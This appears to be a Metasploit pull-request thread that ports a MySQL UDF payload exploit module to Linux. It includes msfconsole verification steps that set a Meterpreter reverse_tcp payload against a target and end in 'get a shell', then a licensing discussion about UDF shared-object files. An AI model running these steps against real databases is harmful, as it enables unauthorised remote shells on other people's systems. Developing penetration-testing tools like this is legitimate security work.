mysql UDF now with more linux

[h00die]

This PR changes the mysql_payload module to work against linux targets as well. Please note all the changes required on target to make the system exploitable.

Verification

To create a vulnerable linux environment, see markdown docs

• Start msfconsole
• use exploit/multi/mysql/mysql_udf_payload
• set payload linux/x86/meterpreter/reverse_tcp
• set lhost [ip]
• set rhost [ip]
• set srvhost [ip]
• set srvport [port]
• set password [password]
• set target 1
• exploit
• get a shell

[h00die]

@bcook-r7 The .so files came from golisermo, installed to /usr/share/golismero/tools/sqlmap/udf/mysql/linux/64/lib_mysqludf_sys.so on Kali. Someone (lawyer-ish) may need to review their license to see if this could be added directly, or someone smart needs to create our own .so file. I'm not qualified to license review or make .so files. Just wanted it on the record and a heads up.

[0x27]

The actual source repo for the UDF objects is here: https://github.com/sqlmapproject/udfhack, its licenced using LGPL.

[h00die]

I didn't look into what the exact difference was, however this is the reason i specifically said golismero and showed the path vs saying it was from sqlmap

root@k:/# md5sum /usr/share/golismero/tools/sqlmap/udf/mysql/linux/64/lib_mysqludf_sys.so 
ab27f6c7634e9efc13fb2db29216a0a8  /usr/share/golismero/tools/sqlmap/udf/mysql/linux/64/lib_mysqludf_sys.so
root@k:/# md5sum /usr/share/sqlmap/udf/mysql/linux/64/lib_mysqludf_sys.so_ 
1501fa7150239b18acc0f4a9db2ebc0d  /usr/share/sqlmap/udf/mysql/linux/64/lib_mysqludf_sys.so_

[wvu]

We need to get legal to look at this. Something like that.

[h00die]

no prob, i think that would be for the best.
If there is an issue, but the license on the sqlmap one is more favorable, I can attempt to look at the source to figure out what the difference is.

[busterb]

We already have LGPL code in the tree (metasm) and GPL exploit code. This is fine. It does need a source link or copy in the tree so we meet distribution guidelines for GPL.

[h00die]

any time to get some lovin on this one?

[wvu]

I don't think we've got any movement on this one yet.

[busterb]

It's totally fine to move forward, no blockers.

[wvu]

Release Notes

The exploit/windows/mysql/mysql_payload module has been renamed exploit/multi/mysql/mysql_udf_payload and now supports Linux systems.

[busterb]

Thanks guys! 💪

[wvu]

dc2b5df